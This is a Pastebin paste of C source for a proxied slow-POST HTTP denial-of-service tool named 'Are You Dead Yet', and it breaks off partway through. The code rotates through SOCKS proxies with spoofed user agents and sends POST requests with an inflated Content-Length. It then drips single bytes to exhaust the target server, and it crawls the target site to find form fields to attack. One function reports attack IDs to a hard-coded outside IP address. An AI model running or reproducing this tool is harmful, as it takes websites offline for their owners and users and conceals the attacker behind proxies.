Zekahs

Are You Dead Yet

Aug 4th, 2017
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.40 KB | None | 0 0
  1. #include <pthread.h>
  2. #include <sys/resource.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <signal.h>
  8. #include <sys/socket.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/tcp.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <ctype.h>
  14. char *useragents[] = {
  15. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  16. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  17. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  18. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  19. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  20. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  21. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  22. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  23. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  24. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  25. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  26. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  27. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  28. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  29. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  30. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  31. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  32. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  33. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  34. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  35. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  36. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  37. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  38. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  39. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  40. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  41. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  42. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  43. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  44. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  45. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  46. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  47. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  48. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  49. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  50. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  51. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  52. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  53. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  54. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  55. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  56. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  57. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  58. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  59. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  60. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  61. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  62. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  63. };
  64. #define ATTACKPORT 80
  65. char *postformat = "POST /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: #contentlen#\r\n\r\n%s=";
  66. char *postpayload;
  67. struct urlparts {
  68. char * name;
  69. char separator[4];
  70. char value[128];
  71. } parts[] = {
  72. { "scheme", ":" },
  73. { "userid", "@" },
  74. { "password", ":" },
  75. { "host", "//" },
  76. { "port", ":" },
  77. { "path", "/" },
  78. { "param", ";" },
  79. { "query", "?" },
  80. { "fragment", "#" }
  81. };
  82. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  83. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  84. struct urlparts *returnparts[8];
  85. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  86. struct proxy { char *type; char *ip; int port; int working; };
  87. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  88. struct list *head = NULL;
  89. char parseError[128];
  90. int parseURL(char *url, struct urlparts **returnpart);
  91. char * strsplit(char * s, char * tok);
  92. char firstpunc(char *s);
  93. int strleft(char * s, int n);
  94. void setupparts();
  95. void freeparts();
  96. char *stristr(const char *String, const char *Pattern);
  97. char *str_replace(char *orig, char *rep, char *with);
  98. char *geturl(char *url, char *useragent, char *ip);
  99. char *ipstr;
  100.  
  101. void *flood(void *par) {
  102. struct list *startpoint = (struct list *)par;
  103. int i;
  104. struct sockaddr_in serverAddr;
  105. signal(SIGPIPE, SIG_IGN);
  106. while(1)
  107. {
  108. int sent = 0;
  109. if(startpoint->data->working == 0)
  110. {
  111. startpoint = startpoint->next;
  112. sleep(1);
  113. continue;
  114. }
  115. memset(&serverAddr, 0, sizeof(serverAddr));
  116. serverAddr.sin_family = AF_INET;
  117. serverAddr.sin_port = htons(startpoint->data->port);
  118. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  119. int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  120. u_int yes=1;
  121. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  122. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  123. {
  124. startpoint->data->working = 0;
  125. startpoint = startpoint->next;
  126. continue;
  127. }
  128. if(strcmp(startpoint->data->type, "Socks4")==0)
  129. {
  130. unsigned char buf[10];
  131. buf[0] = 0x04;
  132. buf[1] = 0x01;
  133. *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  134. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  135. buf[8] = 0x00;
  136. if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  137. {
  138. startpoint->data->working = 0;
  139. startpoint = startpoint->next;
  140. close(serverSocket);
  141. continue;
  142. }
  143. }
  144. if(strcmp(startpoint->data->type, "Socks5")==0)
  145. {
  146. unsigned char buf[20];
  147. buf[0] = 0x05;
  148. buf[1] = 0x01;
  149. buf[2] = 0x00;
  150. if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  151. {
  152. startpoint->data->working = 0;
  153. startpoint = startpoint->next;
  154. close(serverSocket);
  155. continue;
  156. }
  157. buf[0] = 0x05;
  158. buf[1] = 0x01;
  159. buf[2] = 0x00;
  160. buf[3] = 0x01;
  161. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  162. *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  163. if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  164. {
  165. printf("BAD PROXY ONLY SENT %d:%d\n", sent, 10);
  166. perror("send 10");
  167. startpoint->data->working = 0;
  168. startpoint = startpoint->next;
  169. close(serverSocket);
  170. continue;
  171. }
  172. }
  173. char *length = (char *)malloc(255);
  174. sprintf(length, "%d", ((rand() % 10000) + 20000));
  175. char *httppartpayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  176. char *httppayload = str_replace(httppartpayload, "#contentlen#", length);
  177. free(httppartpayload);
  178. if(httppayload == NULL)
  179. {
  180. startpoint = startpoint->next;
  181. close(serverSocket);
  182. continue;
  183. }
  184. sent = send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  185. //printf("sent main payload %d\n", sent);
  186. free(httppayload);
  187. //char *postshit = "Z";
  188. //while(send(serverSocket, postshit, 1, MSG_NOSIGNAL) > 0)
  189. // {
  190. // sleep(1);
  191. //printf(".");
  192. // }
  193. int success;
  194. do
  195. {
  196. char postshit = rand() % 97 + 26;
  197. success = send(serverSocket, &postshit, 1, MSG_NOSIGNAL);
  198. sleep(rand() % 3 + 1);
  199. //printf(".");
  200. } while (success > 0);
  201. close(serverSocket);
  202. usleep(30000);
  203. //startpoint = startpoint->next;
  204. }
  205. }
  206.  
  207. int fnAttackInformation(int attackID)
  208. {
  209. char szRecvBuff[1024];
  210. char packet[1024];
  211. char ip[] = "37.221.170.5";
  212.  
  213. snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
  214.  
  215. struct sockaddr_in *remote;
  216. int sock;
  217. int tmpres;
  218.  
  219.  
  220. if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  221. {
  222. perror("Can't create TCP socket");
  223. exit(1);
  224. }
  225.  
  226. remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
  227. remote->sin_family = AF_INET;
  228. tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
  229.  
  230. if (tmpres < 0)
  231. {
  232. perror("Can't set remote->sin_addr.s_addr");
  233. exit(1);
  234. }
  235. else if (tmpres == 0)
  236. {
  237. fprintf(stderr, "%s is not a valid IP address\n", ip);
  238. exit(1);
  239. }
  240.  
  241. remote->sin_port = htons(80);
  242.  
  243. if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
  244. {
  245. perror("Could not connect");
  246. exit(1);
  247. }
  248.  
  249. tmpres = send(sock, packet, strlen(packet), 0);
  250.  
  251. //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);
  252.  
  253. if (tmpres == -1){
  254. perror("Can't send query");
  255. exit(1);
  256. }
  257.  
  258. int i = 1;
  259. int dwTotal = 0;
  260.  
  261.  
  262. while (1)
  263. {
  264. i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
  265. //printf("Received %d bytes\n", i);
  266. if (i <= 0)
  267. break;
  268.  
  269. dwTotal += i;
  270. }
  271.  
  272. szRecvBuff[dwTotal] = '\0';
  273.  
  274.  
  275. //printf("Received -> \n%s\n\n", szRecvBuff);
  276.  
  277.  
  278. close(sock);
  279.  
  280. //printf("Sent %d bytes\n", tmpres);
  281.  
  282. return 0;
  283. }
  284.  
  285. int main(int argc, char *argv[ ]) {
  286. if(argc < 5){
  287. fprintf(stderr, "Invalid parameters!\n");
  288. fprintf(stdout, "Usage: %s <target url> <auto scrape (1 or 0)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [manual parameter]\n", argv[0]);
  289. exit(-1);
  290. }
  291. //fprintf(stdout, "Setting up Sockets...\n");
  292. int num_threads = atoi(argv[3]);
  293. int scrapeit = atoi(argv[2]);
  294. FILE *pFile = fopen(argv[4], "rb");
  295. if(pFile==NULL)
  296. {
  297. perror("fopen"); exit(1);
  298. }
  299. fseek(pFile, 0, SEEK_END);
  300. long lSize = ftell(pFile);
  301. rewind(pFile);
  302. char *buffer = (char *)malloc(lSize*sizeof(char));
  303. fread(buffer, 1, lSize, pFile);
  304. fclose (pFile);
  305. int i=0;
  306. char *pch = (char *)strtok(buffer, ":");
  307. while(pch != NULL)
  308. {
  309. if(head == NULL)
  310. {
  311. head = (struct list *)malloc(sizeof(struct list));
  312. bzero(head, sizeof(struct list));
  313. head->data = (struct proxy *)malloc(sizeof(struct proxy));
  314. bzero(head->data, sizeof(struct proxy));
  315. head->data->working = 1;
  316. head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  317. pch = (char *)strtok(NULL, ":");
  318. if(pch == NULL) exit(-1);
  319. head->data->port = atoi(pch);
  320. pch = (char *)strtok(NULL, ":");
  321. head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  322. pch = (char *)strtok(NULL, ":");
  323. head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  324. head->next = head;
  325. head->prev = head;
  326. } else {
  327. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  328. bzero(new_node, sizeof(struct list));
  329. new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  330. bzero(new_node->data, sizeof(struct proxy));
  331. new_node->data->working = 1;
  332. new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  333. pch = (char *)strtok(NULL, ":");
  334. if(pch == NULL) break;
  335. new_node->data->port = atoi(pch);
  336. pch = (char *)strtok(NULL, ":");
  337. new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  338. pch = (char *)strtok(NULL, ":");
  339. new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  340. new_node->prev = head;
  341. new_node->next = head->next;
  342. head->next = new_node;
  343. }
  344. }
  345. free(buffer);
  346. const rlim_t kOpenFD = 1024 + (num_threads * 2);
  347. struct rlimit rl;
  348. int result;
  349. rl.rlim_cur = kOpenFD;
  350. rl.rlim_max = kOpenFD;
  351. result = setrlimit(RLIMIT_NOFILE, &rl);
  352. if (result != 0)
  353. {
  354. perror("setrlimit");
  355. fprintf(stderr, "setrlimit returned result = %d\n", result);
  356. }
  357. char *parameter;
  358. if(argc > 7)
  359. {
  360. parameter = argv[7];
  361. } else {
  362. parameter = "username";
  363. }
  364. setupparts();
  365. parseURL(argv[1], returnparts);
  366. if(argc > 6 && !(strcmp(argv[6], "0") == 0))
  367. {
  368. ipstr = malloc(strlen(argv[6])+1);
  369. strcpy(ipstr, argv[6]);
  370. //fprintf(stdout, "Using manual IP...\n");
  371. } else {
  372. struct hostent *he;
  373. struct in_addr a;
  374. he = gethostbyname(returnparts[host]->value);
  375. if (he)
  376. {
  377. while (*he->h_addr_list)
  378. {
  379. bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  380. ipstr = malloc(INET_ADDRSTRLEN+1);
  381. inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  382. break;
  383. }
  384. }
  385. else
  386. { herror("gethostbyname"); }
  387. }
  388. char *targeturl = argv[1];
  389. char *targetparameter = parameter;
  390. if(scrapeit == 1)
  391. {
  392. char *original_domain = malloc(strlen(returnparts[host]->value)+1);
  393. strcpy(original_domain, returnparts[host]->value);
  394. freeparts();
  395. struct urllist *headurl = malloc(sizeof(struct urllist));
  396. bzero(headurl, sizeof(struct urllist));
  397. headurl->url = argv[1];
  398. headurl->done = 0;
  399. headurl->next = headurl;
  400. headurl->prev = headurl;
  401. int donescrape = 0;
  402. char *lasturl = "";
  403. while(headurl->done == 0)
  404. {
  405. if(headurl->url == NULL)
  406. {
  407. headurl->done = 1;
  408. headurl = headurl->next;
  409. continue;
  410. }
  411. if(strcmp(headurl->url, lasturl) == 0)
  412. {
  413. headurl->done = 1;
  414. headurl = headurl->next;
  415. continue;
  416. }
  417. lasturl = headurl->url;
  418. printf("Scraping: %s\n", headurl->url);
  419. char *buffer = geturl(headurl->url, useragents[rand() % (sizeof(useragents)/sizeof(char *))], ipstr);
  420. if(strstr(buffer, "\r\n\r\n")==NULL)
  421. {
  422. free(buffer);
  423. headurl->done = 1;
  424. headurl = headurl->next;
  425. continue;
  426. }
  427. char *headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
  428. memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
  429. char *body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
  430. int status = atoi(strchr(strncpy(malloc(1024),headerstatus,strstr(headerstatus, "\r\n") - headerstatus), ' ') + 1);
  431. char *headers = strstr(headerstatus, "\r\n")+2;
  432. int temp = ((status/10)/10) % 10;
  433. if(temp == 4)
  434. {
  435. free(headerstatus);
  436. free(buffer);
  437. headurl->done = 1;
  438. headurl = headurl->next;
  439. continue;
  440. }
  441. if(temp == 3)
  442. {
  443. char *location = stristr(headers, "Location: ") + 10;
  444. if(location == NULL)
  445. {
  446. free(headerstatus);
  447. free(buffer);
  448. headurl->done = 1;
  449. headurl = headurl->next;
  450. continue;
  451. }
  452. struct urllist *newurl = malloc(sizeof(struct urllist));
  453. bzero(newurl, sizeof(struct urllist));
  454. char *nexturl = malloc(strstr(location, "\r\n") - location + 1);
  455. bzero(nexturl, strstr(location, "\r\n") - location + 1);
  456. strncpy(nexturl, location, strstr(location, "\r\n") - location);
  457. char *parsednexturl;
  458. setupparts();
  459. parseURL(nexturl, returnparts);
  460. if(!(*(returnparts[path]->value)))
  461. {
  462. free(headerstatus);
  463. free(buffer);
  464. headurl->done = 1;
  465. headurl = headurl->next;
  466. continue;
  467. }
  468. if(*(returnparts[host]->value))
  469. {
  470. char *host_tmp = str_replace(returnparts[host]->value, "www.", "");
  471. if(host_tmp != NULL)
  472. {
  473. if(strcmp(host_tmp, original_domain) != 0)
  474. {
  475. free(headerstatus);
  476. free(buffer);
  477. headurl->done = 1;
  478. headurl = headurl->next;
  479. continue;
  480. } else {
  481. original_domain = malloc(strlen(returnparts[host]->value)+1);
  482. bzero(original_domain, strlen(returnparts[host]->value)+1);
  483. strcpy(original_domain, returnparts[host]->value);
  484. }
  485.  
  486. } else {
  487. if(strcmp(returnparts[host]->value, original_domain) != 0)
  488. {
  489. free(headerstatus);
  490. free(buffer);
  491. headurl->done = 1;
  492. headurl = headurl->next;
  493. continue;
  494. }
  495. }
  496.  
  497. parsednexturl = malloc(strlen(nexturl)+1);
  498. bzero(parsednexturl, strlen(nexturl)+1);
  499. strcpy(parsednexturl, nexturl);
  500. } else {
  501. parsednexturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  502. bzero(parsednexturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  503. strcpy(parsednexturl, "http://");
  504. strcpy(parsednexturl + 7, original_domain);
  505. strcpy(parsednexturl + 7 + strlen(original_domain), "/");
  506. strcpy(parsednexturl + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  507. char *tmp = malloc(strlen(original_domain)+2);
  508. bzero(tmp, strlen(original_domain)+2);
  509. sprintf(tmp, "%s/", original_domain);
  510. char *tmp2 = malloc(strlen(original_domain)+3);
  511. bzero(tmp2, strlen(original_domain)+3);
  512. sprintf(tmp2, "%s//", original_domain);
  513. char *parsednexturl_tmp = str_replace(parsednexturl, tmp2, tmp);
  514. if(parsednexturl_tmp != NULL)
  515. {
  516. free(parsednexturl);
  517. parsednexturl = parsednexturl_tmp;
  518. }
  519. free(tmp);
  520. free(tmp2);
  521. }
  522. freeparts();
  523. free(nexturl);
  524.  
  525. newurl->url = parsednexturl;
  526. newurl->done = 0;
  527. newurl->next = headurl->next;
  528. newurl->prev = headurl;
  529. headurl->next = newurl;
  530. headurl->done = 1;
  531. headurl = headurl->next;
  532. free(headerstatus);
  533. free(buffer);
  534. continue;
  535. }
  536. char *formstart = body;
  537. while(stristr(formstart, "<form")!=NULL)
  538. {
  539. formstart = stristr(formstart, "<form")+5;
  540. char *formend = stristr(formstart, "</form");
  541. char *input = formstart;
  542. char *method = stristr(formstart, "method=");
  543. if(method == NULL || method > stristr(formstart, ">"))
  544. {
  545. continue;
  546. }
  547. char *methodstart = method+7;
  548. char *methodname = NULL;
  549. if(strchr(methodstart, '"')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '"'))
  550. {
  551. methodstart = strchr(method, '"')+1;
  552. methodname = malloc(strchr(methodstart, '"') - methodstart + 1);
  553. bzero(methodname, strchr(methodstart, '"') - methodstart + 1);
  554. strncpy(methodname, methodstart, strchr(methodstart, '"') - methodstart);
  555. } else if(strchr(methodstart, '\'')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '\''))
  556. {
  557. methodstart = strchr(method, '\'')+1;
  558. methodname = malloc(strchr(methodstart, '\'') - methodstart + 1);
  559. bzero(methodname, strchr(methodstart, '\'') - methodstart + 1);
  560. strncpy(methodname, methodstart, strchr(methodstart, '\'') - methodstart);
  561. } else {
  562. char *end = NULL;
  563. if(strchr(methodstart, ' ') > strchr(methodstart, '>'))
  564. {
  565. end = strchr(methodstart, '>');
  566. } else {
  567. end = strchr(methodstart, ' ');
  568. }
  569. methodname = malloc(end - methodstart + 1);
  570. bzero(methodname, end - methodstart + 1);
  571. strncpy(methodname, methodstart, end - methodstart);
  572. }
  573. int i;
  574. for(i=0;*(methodname + i);i++)
  575. {
  576. *(methodname + i) = toupper(*(methodname + i));
  577. }
  578. if(strcmp(methodname, "GET") == 0)
  579. {
  580. continue;
  581. }
  582. char *action = stristr(formstart, "action=");
  583. char *actionname = NULL;
  584. if(action == NULL || action > formend)
  585. {
  586. actionname = headurl->url;
  587. } else {
  588. char *actionstart = action;
  589. if(strchr(actionstart, '"') != NULL && strchr(actionstart, '>') > strchr(actionstart, '"'))
  590. {
  591. actionstart = strchr(action, '"')+1;
  592. actionname = malloc(strchr(actionstart, '"') - actionstart + 1);
  593. bzero(actionname, strchr(actionstart, '"') - actionstart + 1);
  594. strncpy(actionname, actionstart, strchr(actionstart, '"') - actionstart);
  595. } else if(strchr(actionstart, '\'') != NULL && strchr(actionstart, '>') > strchr(actionstart, '\''))
  596. {
  597. actionstart = strchr(action, '\'')+1;
  598. actionname = malloc(strchr(actionstart, '\'') - actionstart + 1);
  599. bzero(actionname, strchr(actionstart, '\'') - actionstart + 1);
  600. strncpy(actionname, actionstart, strchr(actionstart, '\'') - actionstart);
  601. } else {
  602. char *end = NULL;
  603. if(strchr(actionstart, ' ') > strchr(actionstart, '>'))
  604. {
  605. end = strchr(actionstart, '>');
  606. } else {
  607. end = strchr(actionstart, ' ');
  608. }
  609. actionname = malloc(end - action + 1);
  610. bzero(actionname, end - action + 1);
  611. strncpy(actionname, action, end - action);
  612. }
  613. }
  614. if(strcmp(actionname, "") == 0)
  615. {
  616. free(actionname);
  617. actionname = headurl->url;
  618. }
  619. while((input = stristr(input, "<input")) != NULL)
  620. {
  621. input = input + 6;
  622. char *inputname = stristr(input, "name=");
  623. if(inputname != NULL)
  624. {
  625. inputname = inputname+5;
  626. char *namestart = inputname;
  627. char *name;
  628. if(strchr(inputname, '"')!=NULL && strchr(inputname, '>') > strchr(inputname, '"'))
  629. {
  630. namestart = strchr(inputname, '"')+1;
  631. name = malloc(strchr(namestart, '"') - namestart + 1);
  632. bzero(name, strchr(namestart, '"') - namestart + 1);
  633. strncpy(name, namestart, strchr(namestart, '"') - namestart);
  634. } else if(strchr(inputname, '\'')!=NULL && strchr(inputname, '>') > strchr(inputname, '\''))
  635. {
  636. namestart = strchr(inputname, '\'')+1;
  637. name = malloc(strchr(namestart, '\'') - namestart + 1);
  638. bzero(name, strchr(namestart, '\'') - namestart + 1);
  639. strncpy(name, namestart, strchr(namestart, '\'') - namestart);
  640. } else {
  641. char *end = NULL;
  642. if(strchr(inputname, ' ') > strchr(inputname, '>'))
  643. {
  644. end = strchr(inputname, '>');
  645. } else {
  646. end = strchr(inputname, ' ');
  647. }
  648. name = malloc(end - inputname + 1);
  649. bzero(name, end - inputname + 1);
  650. strncpy(name, namestart, end - inputname);
  651. }
  652. targetparameter = name;
  653. setupparts();
  654. parseURL(actionname, returnparts);
  655. if(!(*(returnparts[path]->value)))
  656. {
  657. goto NOTRIGHT;
  658. }
  659. if(*(returnparts[host]->value))
  660. {
  661. if(strcmp(returnparts[host]->value, original_domain) != 0)
  662. {
  663. goto NOTRIGHT;
  664. }
  665. targeturl = actionname;
  666. } else {
  667. targeturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  668. bzero(targeturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  669. strcpy(targeturl, "http://");
  670. strcpy(targeturl + 7, original_domain);
  671. strcpy(targeturl + 7 + strlen(original_domain), "/");
  672. strcpy(targeturl + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  673. char *tmp = malloc(strlen(original_domain)+2);
  674. bzero(tmp, strlen(original_domain)+2);
  675. sprintf(tmp, "%s/", original_domain);
  676. char *tmp2 = malloc(strlen(original_domain)+3);
  677. bzero(tmp2, strlen(original_domain)+3);
  678. sprintf(tmp2, "%s//", original_domain);
  679. char *targeturl_tmp = str_replace(targeturl, tmp2, tmp);
  680. if(targeturl_tmp != NULL)
  681. {
  682. free(targeturl);
  683. targeturl = targeturl_tmp;
  684. }
  685. free(tmp);
  686. free(tmp2);
  687. }
  688. freeparts();
  689. free(headerstatus);
  690. free(buffer);
  691. printf("TARGET AQUIRED: %s, %s\n", targeturl, targetparameter);
  692. goto END;
  693. }
  694. }
  695. NOTRIGHT:
  696. continue;
  697. }
  698. char *link = body;
  699. while((link = stristr(link, "<a ")) != NULL)
  700. {
  701. link = link+3;
  702. char *href = stristr(link, "href=");
  703. if(href == NULL || href > stristr(link, ">"))
  704. {
  705. continue;
  706. }
  707. href = href + 5;
  708. char *hrefstart = href;
  709. char *hreftarget;
  710. if(strchr(hrefstart, '"')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '"'))
  711. {
  712. hrefstart = strchr(hrefstart, '"')+1;
  713. hreftarget = malloc(strchr(hrefstart, '"') - hrefstart + 1);
  714. bzero(hreftarget, strchr(hrefstart, '"') - hrefstart + 1);
  715. strncpy(hreftarget, hrefstart, strchr(hrefstart, '"') - hrefstart);
  716. } else if(strchr(hrefstart, '\'')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '\''))
  717. {
  718. hrefstart = strchr(hrefstart, '\'')+1;
  719. hreftarget = malloc(strchr(hrefstart, '\'') - hrefstart + 1);
  720. bzero(hreftarget, strchr(hrefstart, '\'') - hrefstart + 1);
